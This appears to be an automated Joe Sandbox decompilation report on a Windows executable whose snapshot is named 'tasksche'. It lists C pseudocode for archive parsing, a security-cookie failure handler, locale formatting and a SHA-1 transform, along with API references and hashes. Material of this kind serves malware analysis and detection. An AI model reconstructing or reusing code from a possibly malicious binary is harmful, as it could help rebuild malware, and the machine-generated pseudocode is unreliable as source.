																} while ( *(_t685 - 0x1c) > 0xfffffffc);
																goto L107;
															}
														}
														_t660 = E0040B5AF(_t685 - 0x48);
														_t488 = E0040B5AF(_t685 - 0x48);
														__eflags =  *(_t685 - 0x1c) - 0xffffffff;
														 *((intOrPtr*)(_t685 - 0x18)) = _t488;
														if( *(_t685 - 0x1c) != 0xffffffff) {
															L73:
															_t419 = 0;
															goto L75;
														}
														__eflags = _t488 - 0xffffffff;
														if(_t488 != 0xffffffff) {
															goto L73;
														}
														_t419 = 1;
														goto L75;
													}
												}
												__eflags = _t644 - 5;
												if(_t644 == 5) {
													goto L61;
												}
												__eflags = _t644 - 6;
												if(_t644 < 6) {
													 *(_t677 + 0x10ec) =  *(_t677 + 0x10ec) & 0x00000000;
												}
												goto L62;
											} else {
												_t620 = ( *(_t677 + 0x19) & 0x000000ff) - 0xd;
												__eflags = _t620;
												if(_t620 == 0) {
													 *(_t677 + 0x108c) = 1;
													goto L57;
												}
												_t621 = _t620 - _t659;
												__eflags = _t621;
												if(_t621 == 0) {
													 *(_t677 + 0x108c) = _t659;
													goto L57;
												}
												_t622 = _t621 - 5;
												__eflags = _t622;
												if(_t622 == 0) {
													L54:
													 *(_t677 + 0x108c) = 3;
													goto L57;
												}
												__eflags = _t622 == 6;
												if(_t622 == 6) {
													goto L54;
												}
												 *(_t677 + 0x108c) = 4;
												goto L57;
											}
										}
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L44;
										}
										_t557 = 1;
										goto L45;
									}
								}
								__eflags = _t349 - 5;
								if(_t349 != 5) {
									goto L110;
								} else {
									_push(_t349);
									_t492 = memcpy(_t509 + 0x88e8, _t509 + 0x654c, 0 << 2);
									_t676 =  *_t492;
									 *(_t509 + 0x8904) =  *_t492 & 0x00000001;
									 *(_t509 + 0x8906) = _t676 >> 0x00000002 & 0x00000001;
									_t495 = _t676 >> 0x00000001 & 0x00000001;
									_t677 = _t509 + 0x8907;
									 *(_t509 + 0x8905) = _t495;
									 *_t677 = _t676 >> 0x00000003 & 0x00000001;
									__eflags = _t495;
									if(_t495 != 0) {
										 *((intOrPtr*)(_t509 + 0x88fc)) = E0040B5AF(_t685 - 0x48);
									}
									__eflags =  *_t677;
									if( *_t677 != 0) {
										_t497 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
										 *(_t509 + 0x8900) = _t497;
										 *(_t509 + 0xb078) = _t497;
									}
									goto L116;
								}
							}
							__eflags =  *(_t509 + 0x6554) & 0x00000002;
							if(( *(_t509 + 0x6554) & 0x00000002) != 0) {
								goto L23;
							}
							goto L26;
						}
						L23:
						_push(6);
						goto L27;
					}
					L13:
					E00401C80(_t509);
					goto L6;
				}
				_t644 =  *(__ecx + 0xb044);
				_t500 =  *((intOrPtr*)(__ecx + 0xb060)) + 7;
				asm("adc ecx, edi");
				_t694 = _t644;
				if(_t694 < 0 || _t694 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t500) {
					goto L9;
				} else {
					 *((char*)(_t685 - 0xe)) = 1;
					E00401BBB(_t509);
					_t503 =  *((intOrPtr*)( *_t509 + 8))(_t685 - 0x28, 8);
					_t696 = _t503 - 8;
					if(_t503 == 8) {
						__eflags =  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024;
						_t677 = _t509 + 0x1024;
						E00405FE7(_t677, _t644, _t650, 4,  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024, _t685 - 0x28, _t650, _t650, _t650, _t650);
						 *(_t685 - 0x2c) = _t677;
						goto L11;
					}
					goto L5;
				}
			}

0x00401cc6
0x00401cd0
0x00401cd6
0x00401cd7
0x00401cde
0x00401ce3
0x00401cec
0x00401cef
0x00401d4d
0x00401d4d
0x00401d7a
0x00401d7f
0x00401d84
0x00401d87
0x00401d31
0x00401d33
0x00401d38
0x00401d38
0x00401d3b
0x00401d3d
0x00401d40
0x00401d45
0x00401d46
0x0040271f
0x00402725
0x0040272d
0x0040272d
0x00401d97
0x00401d9d
0x00401dac
0x00401db4
0x00401db7
0x00401dc5
0x00401dd0
0x00401dd3
0x00401dd9
0x00401ddf
0x00401de2
0x00401df0
0x00401df0
0x00401df5
0x00401df6
0x00401e23
0x00401df8
0x00401df8
0x00401df8
0x00401df9
0x00401e17
0x00401dfb
0x00401dfb
0x00401dfb
0x00401dfe
0x00401e0f
0x00401e00
0x00401e00
0x00401e00
0x00401e01
0x00401e03
0x00401e03
0x00401e01
0x00401dfe
0x00401df9
0x00401e2d
0x00401e33
0x00401e39
0x00401e3c
0x00401e42
0x00401e45
0x00401e50
0x00401e50
0x00401e50
0x00401e53
0x00401e54
0x00401e57
0x00401e64
0x00401e71
0x00401e77
0x00401e7d
0x00401e83
0x00401e89
0x00401e8c
0x00402567
0x0040256f
0x00402576
0x0040257d
0x0040258a
0x00402596
0x00402598
0x004025a0
0x004025a4
0x004025b1
0x004025be
0x004025cb
0x004025d8
0x004025de
0x004025e4
0x004025e6
0x004025f3
0x004025f5
0x004025f5
0x004025f6
0x004025f6
0x00402602
0x00402612
0x00402612
0x00402615
0x0040261b
0x00402621
0x00402621
0x00402627
0x0040262f
0x00402635
0x004026e6
0x004026ec
0x004026f2
0x0040270c
0x0040270c
0x0040270f
0x00402712
0x00402714
0x00402717
0x0040271c
0x0040271d
0x00000000
0x0040271d
0x004026f4
0x00000000
0x00000000
0x00402700
0x00402706
0x00000000
0x00000000
0x00000000
0x00402706
0x0040263b
0x00402641
0x00402644
0x00000000
0x00000000
0x0040264a
0x0040264d
0x00000000
0x00000000
0x00402653
0x00402656
0x004026b5
0x004026bc
0x004026c3
0x004026c8
0x004026cc
0x00000000
0x00000000
0x004026d5
0x004026da
0x00000000
0x004026da
0x00402658
0x0040265f
0x00000000
0x00000000
0x00402665
0x0040266e
0x00402672
0x00402678
0x00402679
0x00402679
0x0040267b
0x00402683
0x00402686
0x0040268a
0x0040268c
0x00402691
0x00402693
0x00402695
0x00402695
0x00402699
0x00402699
0x00402699
0x004026a5
0x004026ac
0x004026af
0x004026b3
0x00000000
0x00000000
0x00000000
0x004026b3
0x004025e8
0x004025ea
0x004025f1
0x00000000
0x00000000
0x00000000
0x004025f1
0x00401e92
0x0040253d
0x0040253d
0x00402547
0x00402555
0x0040255b
0x0040255b
0x00000000
0x00402547
0x00401e98
0x00401e9a
0x00401f2d
0x00401f30
0x00401f34
0x00401f38
0x00401f3e
0x00401f40
0x00401f40
0x00401f46
0x00401f4c
0x00401f4f
0x00401f56
0x00401f5d
0x00401f5f
0x00401f67
0x00401f6d
0x00401f77
0x00401f85
0x00401f93
0x00401f97
0x00401f9d
0x00401fa8
0x00401fa8
0x00401fa8
0x00000000
0x00401f9f
0x00401f9f
0x00401fa1
0x00000000
0x00000000
0x00401fa5
0x00401faa
0x00401faa
0x00401fae
0x00401fb1
0x00401fb7
0x00401fc2
0x00401fc2
0x00401fc2
0x00401fc4
0x00401fc4
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd8
0x00401fde
0x00401fe0
0x00401ff3
0x00401ff3
0x00401fe2
0x00401fe2
0x00401fe2
0x00402000
0x0040200b
0x00402011
0x0040201f
0x0040202a
0x0040202d
0x00402034
0x00402038
0x0040203b
0x00402049
0x00402057
0x00402062
0x0040206f
0x0040207d
0x00402080
0x00402085
0x0040208c
0x00402093
0x00402096
0x004020d9
0x004020d9
0x004020dc
0x004020e2
0x004020e5
0x004020fa
0x004020fa
0x00402104
0x00402104
0x00402106
0x0040210c
0x0040210e
0x00402111
0x00402115
0x0040211b
0x00402121
0x00402123
0x00402129
0x0040212b
0x0040212b
0x00402121
0x00402132
0x00402136
0x00402141
0x00402141
0x00402141
0x00000000
0x00402138
0x00402138
0x0040213a
0x00000000
0x00000000
0x0040213e
0x00402143
0x00402143
0x0040214f
0x0040214f
0x00402151
0x00402157
0x00402182
0x00402186
0x00402189
0x00402189
0x00402189
0x0040218c
0x00402193
0x00402199
0x004021ac
0x004021ae
0x004021b4
0x004021ba
0x004021c4
0x004021c6
0x004021cc
0x004021d2
0x004021d8
0x004021df
0x004021e5
0x004021e5
0x004021eb
0x004021f0
0x004021f3
0x004021f5
0x004021f5
0x00402203
0x00402208
0x0040220c
0x00402214
0x004022ad
0x004022b7
0x004022c2
0x004022c5
0x004022cc
0x004022ce
0x004022ce
0x004022ce
0x004022d1
0x004022d3
0x004022e0
0x004022ef
0x004022fc
0x00402303
0x00402305
0x00402321
0x00402328
0x0040234c
0x00402356
0x00402367
0x00402370
0x00402373
0x0040237b
0x00402384
0x00402393
0x0040239e
0x004023a6
0x004023ab
0x004023ad
0x004023af
0x004023af
0x004023b0
0x004023b0
0x004023ad
0x00402305
0x004023be
0x004023c5
0x004023c7
0x004023c9
0x004023c9
0x0040221a
0x0040221a
0x00402226
0x00402265
0x00402268
0x00402268
0x0040226a
0x0040226d
0x00402228
0x0040222b
0x00402237
0x00402242
0x0040225b
0x0040225e
0x0040225e
0x0040227f
0x00402292
0x0040229a
0x0040229a
0x004023d0
0x004023d7
0x004023e5
0x004023e5
0x004023f3
0x004023f8
0x004023ff
0x004024d6
0x004024dc
0x004024eb
0x004024f7
0x004024fd
0x00402505
0x00402507
0x00402514
0x0040251b
0x00402520
0x00402524
0x00402533
0x00402533
0x00402524
0x00000000
0x00402405
0x00402408
0x0040240d
0x00402411
0x00402411
0x00402411
0x0040241e
0x0040242a
0x00402433
0x00402436
0x00402439
0x00402440
0x00402443
0x0040244d
0x0040244f
0x00402452
0x00402454
0x00000000
0x00000000
0x00402456
0x00402458
0x00000000
0x00000000
0x0040245a
0x0040245e
0x0040246b
0x0040246b
0x00402476
0x0040247b
0x0040247f
0x00402481
0x00402481
0x00402481
0x00402481
0x00402487
0x0040248b
0x0040248b
0x0040248e
0x004024b5
0x004024c0
0x00402490
0x00402492
0x00402495
0x00402495
0x00402498
0x0040249b
0x004024a8
0x004024aa
0x004024ad
0x004024b0
0x004024b0
0x004024b0
0x004024b0
0x00000000
0x0040249b
0x004024c5
0x004024c5
0x004024c9
0x004024cc
0x004024cc
0x00000000
0x00402440
0x004023ff
0x00402164
0x00402166
0x0040216b
0x0040216f
0x00402172
0x0040217e
0x0040217e
0x00000000
0x0040217e
0x00402174
0x00402177
0x00000000
0x00000000
0x0040217b
0x00000000
0x0040217b
0x00402136
0x004020e7
0x004020ea
0x00000000
0x00000000
0x004020ec
0x004020ef
0x004020f1
0x004020f1
0x00000000
0x00402098
0x0040209c
0x0040209c
0x0040209f
0x004020cf
0x00000000
0x004020cf
0x004020a1
0x004020a1
0x004020a3
0x004020c7
0x00000000
0x004020c7
0x004020a5
0x004020a5
0x004020a8
0x004020bb
0x004020bb
0x00000000
0x004020bb
0x004020aa
0x004020ad
0x00000000
0x00000000
0x004020af
0x00000000
0x004020af
0x00402096
0x00401fb9
0x00401fbb
0x00000000
0x00000000
0x00401fbf
0x00000000
0x00401fbf
0x00401f9d
0x00401ea0
0x00401ea3
0x00000000
0x00401ea9
0x00401ea9
0x00401ebd
0x00401ec1
0x00401ec6
0x00401ed4
0x00401ee3
0x00401ee8
0x00401eee
0x00401ef4
0x00401ef6
0x00401ef8
0x00401f02
0x00401f02
0x00401f08
0x00401f0b
0x00401f19
0x00401f1c
0x00401f22
0x00401f22
0x00000000
0x00401f0b
0x00401ea3
0x00401e47
0x00401e4e
0x00000000
0x00000000
0x00000000
0x00401e4e
0x00401e3e
0x00401e3e
0x00000000
0x00401e3e
0x00401de4
0x00401de6
0x00000000
0x00401de6
0x00401cf7
0x00401cff
0x00401d02
0x00401d04
0x00401d06
0x00000000
0x00401d14
0x00401d16
0x00401d1a
0x00401d29
0x00401d2c
0x00401d2f
0x00401d61
0x00401d69
0x00401d72
0x00401d77
0x00000000
0x00401d77
0x00000000
0x00401d2f

APIs

__EH_prolog.LIBCMT ref: 00401CC6
_strlen.LIBCMT ref: 00402237

Part of subcall function 00411B3C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,00001FFF,?,?,004022BC,00000000,?,00000800,?,00001FFF,?), ref: 00411B58

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00402393

Strings

CMT, xrefs: 004023B6

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction ID: 47e58a6222a9c82a3371e9f2a391d10810198bea5a194d1edf5ea2ede1dda2e7
Opcode Fuzzy Hash: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction Fuzzy Hash: 8B6201709006849FCF25DF64C8947EE7BB1AF14304F0844BEE986BB2D6DB795985CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6DE Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041E6DE(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x430298; // 0xb2e74e7c
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44ff68 = _t6;
				 *0x44ff64 = _t22;
				 *0x44ff60 = _t25;
				 *0x44ff5c = _t21;
				 *0x44ff58 = _t27;
				 *0x44ff54 = _t26;
				 *0x44ff80 = ss;
				 *0x44ff74 = cs;
				 *0x44ff50 = ds;
				 *0x44ff4c = es;
				 *0x44ff48 = fs;
				 *0x44ff44 = gs;
				asm("pushfd");
				_pop( *0x44ff78);
				 *0x44ff6c =  *_t31;
				 *0x44ff70 = _v0;
				 *0x44ff7c =  &_a4;
				 *0x44feb8 = 0x10001;
				_t11 =  *0x44ff70; // 0x0
				 *0x44fe6c = _t11;
				 *0x44fe60 = 0xc0000409;
				 *0x44fe64 = 1;
				_t12 =  *0x430298; // 0xb2e74e7c
				_v812 = _t12;
				_t13 =  *0x43029c; // 0x4d18b183
				_v808 = _t13;
				 *0x44feb0 = IsDebuggerPresent();
				_push(1);
				E00424E29(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x42ba78);
				if( *0x44feb0 == 0) {
					_push(1);
					E00424E29(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6e4
0x0041e6e6
0x0041e6e6
0x00423e8e
0x00423e93
0x00423e99
0x00423e9f
0x00423ea5
0x00423eab
0x00423eb1
0x00423eb8
0x00423ebf
0x00423ec6
0x00423ecd
0x00423ed4
0x00423edb
0x00423edc
0x00423ee5
0x00423eed
0x00423ef5
0x00423f00
0x00423f0a
0x00423f0f
0x00423f14
0x00423f1e
0x00423f28
0x00423f2d
0x00423f33
0x00423f38
0x00423f44
0x00423f49
0x00423f4b
0x00423f53
0x00423f5e
0x00423f6b
0x00423f6d
0x00423f6f
0x00423f74
0x00423f88

APIs

IsDebuggerPresent.KERNEL32 ref: 00423F3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423F53
UnhandledExceptionFilter.KERNEL32(0042BA78), ref: 00423F5E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423F7A
TerminateProcess.KERNEL32(00000000), ref: 00423F81

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction ID: 77c401cdca4814435c65699ef26cb777055d8c499ed0f7a386f9586c05fd5705
Opcode Fuzzy Hash: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction Fuzzy Hash: 6F21C0B8A10208DFE710DF25F8496597BA0FB1A315F90117BE90887271EBB5599ECF0E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D155 Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D155(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				int _t22;
				void* _t23;
				void* _t24;
				short* _t26;

				if( *0x4300dc == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x44cf24 = _v304;
					 *0x44cf26 = 0;
					 *0x4300dc = 0x44cf24;
				}
				E00410BF7(_t23, _t24, _a4, _a8,  &_v104, 0x32);
				_t22 = _a16;
				_t26 = _a12;
				 *_t26 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x4300cc, _t26, _t22);
				 *((short*)(_t26 + _t22 * 2 - 2)) = 0;
				return 0;
			}

0x0040d16d
0x0040d17b
0x0040d188
0x0040d190
0x0040d196
0x0040d196
0x0040d1ac
0x0040d1b1
0x0040d1b4
0x0040d1c0
0x0040d1ca
0x0040d1d3
0x0040d1db

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D17B
GetNumberFormatW.KERNEL32 ref: 0040D1CA

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction ID: 2e86bd0250e0b4fef5c8dc12a3830970d19becb9d4c55c3472b337e1343b8b10
Opcode Fuzzy Hash: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction Fuzzy Hash: DB017C35600248AEE710DFA4EC41FAAB7FCEF09714F005426FA04EB1A0D3B89915CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00410178 Relevance: 2.8, Strings: 2, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00410178(void* __ecx, void* _a4, signed int _a8, signed int* _a12, signed int _a16) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int* _v16;
				void _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t236;
				signed int _t244;
				signed int _t255;
				signed int _t264;
				signed int _t274;
				void* _t276;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				signed int _t298;
				signed int* _t312;
				void* _t332;
				intOrPtr _t333;
				signed int _t337;
				signed int* _t340;
				signed int* _t341;
				signed int* _t345;
				signed int _t346;
				signed int* _t350;
				void* _t351;
				void* _t356;
				signed int _t389;
				void* _t390;
				signed int* _t392;
				signed int* _t400;
				signed int* _t408;
				signed int* _t412;
				signed int* _t415;
				signed int* _t420;
				void* _t421;
				void* _t422;

				if(_a16 == 0) {
					_t286 = _a12;
				} else {
					_t286 = _a8;
					E0041C290(_t286, _t356, _t390, _t286, _a12, 0x40);
					_t422 = _t422 + 0xc;
				}
				if( *0x44f578 == 0) {
					_t333 = 0;
					_t420 = 0x44ef3c;
					do {
						_t5 = _t333 + 1; // 0x1
						asm("cdq");
						_t389 = 5;
						_t10 = _t333 + 2; // 0x2
						 *((intOrPtr*)(_t420 - 4)) = _t333;
						 *_t420 = _t5 % _t389;
						asm("cdq");
						_t16 = _t333 + 3; // 0x3
						_t420 =  &(_t420[5]);
						 *(_t420 - 0x10) = _t10 % _t389;
						asm("cdq");
						_t22 = _t333 + 4; // 0x4
						 *(_t420 - 0xc) = _t16 % _t389;
						asm("cdq");
						 *(_t420 - 8) = _t22 % _t389;
						if(_t333 == 0) {
							_t333 = 4;
						} else {
							_t333 = _t333 - 1;
						}
					} while (_t420 < 0x44f57c);
					 *0x44f578 = 1;
				}
				_t288 = 5;
				memcpy( &_v36, _a4, _t288 << 2);
				_t236 = 0x44ef44;
				_a16 = _t286;
				do {
					_t392 = _a16;
					asm("ror ecx, 0x8");
					asm("rol edx, 0x8");
					_t292 =  *_t392 & 0xff00ff00 |  *_t392 & 0x00ff00ff;
					 *_t392 = _t292;
					_t337 =  *(_t421 +  *_t236 * 4 - 0x20);
					_a16 = _a16 + 4;
					_a12 = _t421 +  *(_t236 - 8) * 4 - 0x20;
					_v8 = _t421 + _t236[1] * 4 - 0x20;
					_a8 = _t337;
					asm("rol esi, 0x5");
					_t62 =  *((intOrPtr*)(_t421 +  *(_t236 - 0xc) * 4 - 0x20)) + _t292 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t236 - 4) * 4 - 0x20) ^ _t337) &  *_a12 ^ _a8) + _t62;
					asm("ror dword [ecx], 0x2");
					_t236 =  &(_t236[5]);
					_t340 = 0x44f084;
				} while (_t236 < 0x44f084);
				_a16 = 0x10;
				do {
					_t66 = _a16 - 3; // 0xd
					_t295 = _t66;
					_t400 = _t286 + (_a16 & 0x0000000f) * 4;
					_t69 = _t295 - 5; // 0x8
					_t72 = _t295 + 5; // 0x12
					_t244 =  *(_t286 + (_t69 & 0x0000000f) * 4) ^  *(_t286 + (_t72 & 0x0000000f) * 4) ^  *(_t286 + (_t66 & 0x0000000f) * 4) ^  *_t400;
					asm("rol eax, 1");
					 *_t400 = _t244;
					_t77 = _t340 - 8; // 0x0
					_t298 =  *(_t421 +  *_t340 * 4 - 0x20);
					_t81 = _t340 - 4; // 0x0
					_a12 = _t421 +  *_t77 * 4 - 0x20;
					_t89 =  &(_t340[1]); // 0x0
					_v8 = _t421 +  *_t89 * 4 - 0x20;
					_t94 = _t340 - 0xc; // 0x0
					_a8 = _t298;
					asm("rol esi, 0x5");
					_t103 =  *((intOrPtr*)(_t421 +  *_t94 * 4 - 0x20)) + _t244 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *_t81 * 4 - 0x20) ^ _t298) &  *_a12 ^ _a8) + _t103;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t340 =  &(_t340[5]);
				} while (_t340 < 0x44f0d4);
				_a16 = 0x14;
				_t341 = 0x44f0d4;
				do {
					_t109 = _a16 - 3; // 0x11
					_t301 = _t109;
					_t408 = _t286 + (_a16 & 0x0000000f) * 4;
					_t112 = _t301 - 5; // 0xc
					_t113 = _t301 + 5; // 0x16
					_t255 =  *(_t286 + (_t112 & 0x0000000f) * 4) ^  *(_t286 + (_t113 & 0x0000000f) * 4) ^  *(_t286 + (_t109 & 0x0000000f) * 4) ^  *_t408;
					asm("rol eax, 1");
					 *_t408 = _t255;
					_t120 = _t341 - 8; // 0x0
					_a12 = _t421 +  *_t120 * 4 - 0x20;
					_t125 =  &(_t341[1]); // 0x0
					_v8 = _t421 +  *_t125 * 4 - 0x20;
					_t130 = _t341 - 0xc; // 0x0
					_t134 = _t341 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v8 =  *_v8 + ( *(_t421 +  *_t134 * 4 - 0x20) ^  *(_t421 +  *_t341 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t130 * 4 - 0x20)) + _t255 + 0x6ed9eba1;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t341 =  &(_t341[5]);
				} while (_t341 < 0x44f264);
				_t312 = 0x44f260;
				_a16 = 0x28;
				_a12 = 0x44f260;
				do {
					_t150 = _a16 - 3; // 0x25
					_t342 = _t150;
					_t412 = _t286 + (_a16 & 0x0000000f) * 4;
					_t153 = _t342 - 5; // 0x20
					_t156 = _t342 + 5; // 0x2a
					_t264 =  *(_t286 + (_t153 & 0x0000000f) * 4) ^  *(_t286 + (_t156 & 0x0000000f) * 4) ^  *(_t286 + (_t150 & 0x0000000f) * 4) ^  *_t412;
					asm("rol eax, 1");
					 *_t412 = _t264;
					_t161 = _t312 - 4; // 0x0
					_t162 =  &(_t312[2]); // 0x0
					_t345 = _t421 +  *_t161 * 4 - 0x20;
					_v16 = _t345;
					_t346 =  *_t345;
					_v12 = _t421 +  *_t162 * 4 - 0x20;
					_t174 = _t312 - 8; // 0x0
					_t175 =  &(_t312[1]); // 0x0
					_a8 = _t346;
					asm("rol edi, 0x5");
					 *_v12 =  *_v12 + ( *(_t421 +  *_t175 * 4 - 0x20) & (_t346 |  *(_t421 +  *_t312 * 4 - 0x20)) | _a8 &  *(_t421 +  *_t312 * 4 - 0x20)) +  *((intOrPtr*)(_t421 +  *_t174 * 4 - 0x20)) + _t264 - 0x70e44324;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t312 =  &(_a12[5]);
					_a12 = _t312;
				} while (_t312 < 0x44f3f0);
				_a16 = 0x3c;
				_t350 = 0x44f3f4;
				do {
					_t194 = _a16 - 3; // 0x39
					_t320 = _t194;
					_t415 = _t286 + (_a16 & 0x0000000f) * 4;
					_t197 = _t320 - 5; // 0x34
					_t198 = _t320 + 5; // 0x3e
					_t274 =  *(_t286 + (_t197 & 0x0000000f) * 4) ^  *(_t286 + (_t198 & 0x0000000f) * 4) ^  *(_t286 + (_t194 & 0x0000000f) * 4) ^  *_t415;
					asm("rol eax, 1");
					 *_t415 = _t274;
					_t205 = _t350 - 8; // 0x0
					_a12 = _t421 +  *_t205 * 4 - 0x20;
					_t210 =  &(_t350[1]); // 0x0
					_v16 = _t421 +  *_t210 * 4 - 0x20;
					_t215 = _t350 - 0xc; // 0x0
					_t219 = _t350 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v16 =  *_v16 + ( *(_t421 +  *_t219 * 4 - 0x20) ^  *(_t421 +  *_t350 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t215 * 4 - 0x20)) + _t274 - 0x359d3e2a;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t350 =  &(_t350[5]);
				} while (_t350 < 0x44f584);
				_t276 = _a4;
				_t332 =  &_v36 - _t276;
				_t351 = 5;
				do {
					 *_t276 =  *_t276 +  *((intOrPtr*)(_t332 + _t276));
					_t276 = _t276 + 4;
					_t351 = _t351 - 1;
				} while (_t351 != 0);
				return _t276;
			}

0x00410185
0x0041019a
0x00410187
0x00410187
0x00410190
0x00410195
0x00410195
0x004101a4
0x004101a6
0x004101a8
0x004101ad
0x004101ad
0x004101b0
0x004101b3
0x004101b6
0x004101b9
0x004101bc
0x004101be
0x004101c1
0x004101c4
0x004101c7
0x004101ca
0x004101cd
0x004101d0
0x004101d3
0x004101d6
0x004101db
0x004101e2
0x004101dd
0x004101dd
0x004101dd
0x004101e3
0x004101eb
0x004101eb
0x004101f7
0x004101fb
0x004101fd
0x00410202
0x00410205
0x00410205
0x0041020c
0x00410215
0x0041021e
0x00410220
0x00410227
0x00410232
0x0041023a
0x00410246
0x00410250
0x00410258
0x00410263
0x0041026a
0x0041026f
0x00410272
0x00410275
0x0041027a
0x0041027e
0x00410285
0x00410288
0x00410288
0x0041028e
0x00410291
0x0041029a
0x004102a9
0x004102ab
0x004102ad
0x004102af
0x004102b4
0x004102b8
0x004102c3
